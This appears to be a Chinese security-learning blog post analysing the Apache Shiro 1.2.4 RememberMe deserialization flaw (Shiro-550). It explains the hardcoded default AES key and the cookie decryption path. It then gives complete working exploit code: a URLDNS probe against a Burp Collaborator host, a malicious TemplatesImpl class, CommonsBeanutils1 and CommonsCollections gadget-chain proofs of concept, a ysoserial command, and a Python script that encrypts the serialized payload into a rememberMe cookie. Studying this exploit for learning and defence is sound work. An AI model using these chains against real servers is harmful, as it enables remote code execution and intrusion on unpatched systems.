少女祈祷中...

shiro550

简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
Apache Shiro基本功能点如下图所示:

  • Authentication:身份认证 / 登录,验证用户是不是拥有相应的身份;
  • Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用户是否能做事情,常见的如:验证某个用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限;
  • Session Management:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;
  • Cryptography:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;
  • Web Support:Web 支持,可以非常容易的集成到 Web 环境;
  • Caching:缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;
  • Concurrency:shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;
  • Testing:提供测试支持;
  • Run As:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;
  • Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了;

注意,本次的Shiro反序列化漏洞点就是出现在Remember Me这个功能模块

环境部署

shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
war包地址:https://github.com/jas502n/SHIRO-550

/sample/web 模块
配置Tomcat

如果报错添加依赖

<!--         JSTL 表达式依赖-->
<dependency>
<groupId>javax.servlet.jsp.jstl</groupId>
<artifactId>jstl-api</artifactId>
<version>1.2</version>
</dependency>
<!-- standard-->
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
</dependency>

过程调试

进入登录页面,勾选RemeberMe进行登录
登录成功后,抓包,删除JSSESIONID(优先级较高),然后调式

加密

入口是在 AbstractRememberMeManager#onSuccessfulLogin 方法
这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看

继续跟进 进入AbstractRememberMeManager#convertPrincipalsToBytes 对结果对象序列化为字节数组,然后进行加密 进入encrypt,看看怎么加密 加密服务cipherService AES-CBC模式加密,秘钥长度128位 跟进getEncryptionCipherKey() 继续跟踪在哪里赋值的,查找用法 继续查找用法 这里加解密秘钥赋值相同,继续查找setCipherKey的用法 AbstractRememberMeManager的构造方法理面 继续查看常量
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
发现AES加解密使用默认秘钥 shiro550一个关键点就是使用默认的秘钥 然后使用默认key进行AES加密(具体就不看了,随机生成一个初始向量......) 返回得到加密数据字符数组 跟进rememberSerializedIdentity 将AES加密后数据Base64编码写入cookie里面 getCookie,获得到cookie的一些属性设置 所以会写入cookie里面的rememberMe字段

总结就是使用固定key对序列化数据进行AES加密,然后base64编码后写入cookie里面的rememberMe字段中

解密

shiro进行权限校验是通过Filter实现的
OncePerRequestFilter#doFilter
->AbstractShiroFilter#doFilterInternal
查看对应方法

跟进createSubject

buildSubject会调用DefaultSecurityManager中的createSubject

跟进resolvePrincipals 继续跟进 到AbstractRememberMeManager#getRememberedPrincipals 先获取cookie中序列化数据,然后再反序列化
  1. 调用父类

CookieRememberMeManager#getRememberedSerializedIdentity

获取cookie Remeberme字段并base64解码并返回数据
接着进入convertBytesToPrincipals方法

解码后数据解密再反序列化
解密与加密对称,也是使用默认秘钥

反序列化

利用链

URLDNS链探测

//URLDNS.java

import java.io.*;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;

public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap map=new HashMap();
URL url=new URL("http://e2hvmezvglr70to8gako0p6ycpig65.burpcollaborator.net");

Class clazz=Class.forName("java.net.URL");
Field hashcode=clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
// System.out.println(hashcode.get(url));
map.put(url,"test");
hashcode.set(url,-1);

serialize(map);
// unserialize("ser.bin");


}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}

没有cc依赖

cb链(CommonsBeanUtils1 )
打shiro时cb的版本为1.8.3

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

cb漏洞点

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean 。

  • 以 Utils 结尾,一般这都是一个工具类/集

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,
这个函数其实就是获取Bean中的某个属性的值,
而底层是使用反射调用了javaBean的getxxx的方法来获取值的
示例如下

import org.apache.commons.beanutils.PropertyUtils;  

public class CBMethods {
public static void main(String[] args) throws Exception{
Person yyjccc = new Person(666, "yyjccc");
PropertyUtils.getProperty(yyjccc,"id");
PropertyUtils.getProperty(templates,"outputProperties");
}
}

而在前面cc3链(cc3链 )中动态加载字节码的类TemplatesImpl中存在getOutputProperties(),且里面调用了方法newTransformer,而且刚好是javabean的getxxx

链子分析

我们的链子
PropertyUtils.getProperty函数中会掉到这里

进入getSimpleProperty函数,在这个函数中会使用getxxx函数

TemplatesImpl中存在getOutputProperties()

触发newTransformer,从而动态加载了字节码,因为getProperty加载的是get,直接传outputProperties

PropertyUtils.getProperty(templates,"outputProperties");
  • 查找getProperty的调用点

在BeanComparator中的compare方法就刚刚好

  • 继续寻找,其实cc2中就有compare,参考cc2中的入口类

使用PriorityQueue,需要传入一个comparetor,
这里直接传BeanComparator,并初始化设置属性property为outputProperties,为了触发getOutputProperties方法

BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> priorityqueue = new PriorityQueue<>(objectBeanComparator);

这样写是不行的,

  • 首先解决序列化时候报错
这是因为在调用add的时候,就会触发该类的compare方法,来寻找该类了,因此就只能通过反射修改
Class c = transformingComparator.getClass();
Field tfactoryfeild = c.getDeclaredField("transformer");
tfactoryfeild.setAccessible(true);
tfactoryfeild.set(transformingComparator,invokerTransformer);
若new的时候传入使用CC2中的comparator,也样也不行,虽然序列化成功,但在打shiro的时候不会成功 这是因为我们使用这个构造方法时,使用了common-collection3包里面的函数,而shiro默认没有cc依赖,因此会出错 那么只有换个构造方法,使用这个,我们需要传入一个comparartor 随便找一个Comparator类
BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties",new AttrCompare());
恶意类
package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
#### 最后poc
package org.example;
import beans.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class cb {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class c1=templates.getClass();
Field namefield = c1.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodes=c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte [] code= Files.readAllBytes(Paths.get("D:\\coderesp\\java\\learn\\exp\\target\\classes\\org\\example\\test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
Field tfactoryfield = c1.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());

//CB
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties",new AttrCompare());

//CC2
PriorityQueue<Object> priorityqueue = new PriorityQueue<>(transformingComparator);
priorityqueue.add(templates);
priorityqueue.add(1);
Class c3 = priorityqueue.getClass();
Field comparatorfield = c3.getDeclaredField("comparator");
comparatorfield.setAccessible(true);
comparatorfield.set(priorityqueue,objectBeanComparator);

utils.tools.serialize(priorityqueue);

}
}

ysoserial

java -jar ysoserial-all.jar CommonsBeanutils1 calc >ser.bin

这里打shiro可能会失败,原因是ysoserial使用的cb库版本为1.9,可能与shiro自带的cb版本不对,从而失败

有cc依赖

概述

常规的链子都会用到Transfer数组,而shiro和tomcat的类加载机制,使其在反序列化的时候无法加载这个数组(具体原因…),导致攻击链失效
因此需要避免使用数组,而这条链就是没有使用数组

思路

CC3+CC2+CC6
动态类加载+InvokeTransformer+TideEntry-hashmap入口类

再度分析

使用cc3中的动态类加载
将cc3前面部分拿过来

//cc3
TemplatesImpl templates= new TemplatesImpl();

Class tc=templates.getClass();
Field namefield = tc.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodefield = tc.getDeclaredField("_bytecodes");
bytecodefield.setAccessible(true);
//赋给我们的字节码,二维数组,代码会循环遍历
byte[] code= Files.readAllBytes(Paths.get("D:\\coderesp\\java\\learn\\exp\\target\\classes\\org\\example\\test.class"));;
byte [][] codes={code};
bytecodefield.set(templates,codes);

Field tfactoryfield = tc.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
//在readObject中赋值了new TransformerFactoryImpl()
tfactoryfield.set(templates,new TransformerFactoryImpl());

InvokeTransformer可以直接调用newTransformer方法进行类加载
入口类

  • HashMap.readObject()会触发hashCode方法
  • TiedMapEntry中的HashCode调用了getValue(),getVaule中调了get
  • LazyMap 这个类的 get 方法中出现了 .transform 方法

因此只需要将TiedMapEntry放入LazyMap ,再把TiedMapEntry放入hashmap
就会触发LazyMap中的key的get,

最终poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class c11 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {

//cc3
TemplatesImpl templates= new TemplatesImpl();

Class tc=templates.getClass();
Field namefield = tc.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodefield = tc.getDeclaredField("_bytecodes");
bytecodefield.setAccessible(true);
//赋给我们的字节码,二维数组,代码会循环遍历
byte[] code= Files.readAllBytes(Paths.get("D:\\coderesp\\java\\learn\\exp\\target\\classes\\org\\example\\test.class"));;
byte [][] codes={code};
bytecodefield.set(templates,codes);

Field tfactoryfield = tc.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
//在readObject中赋值了new TransformerFactoryImpl()
tfactoryfield.set(templates,new TransformerFactoryImpl());

//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);


//CC6
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","hu");
Map<Object,Object> decoratemap=LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(decoratemap,templates);
//tidemapentry->内嵌LazyMap->内嵌HashMap,再放入hashmap
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"sss");
decoratemap.remove(templates);
Class c=decoratemap.getClass();
Field factory=c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decoratemap,invokerTransformer);
utils.tools.serialize(map2);

}
}

AES+base64加密脚本

from Crypto.Cipher import AES
import uuid
import base64

def convert_bin(file):
with open(file,'rb') as f:
return f.read()


def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
return ciphertext

if __name__=="__main__":
data=convert_bin("ser.bin")
print(AES_enc(data))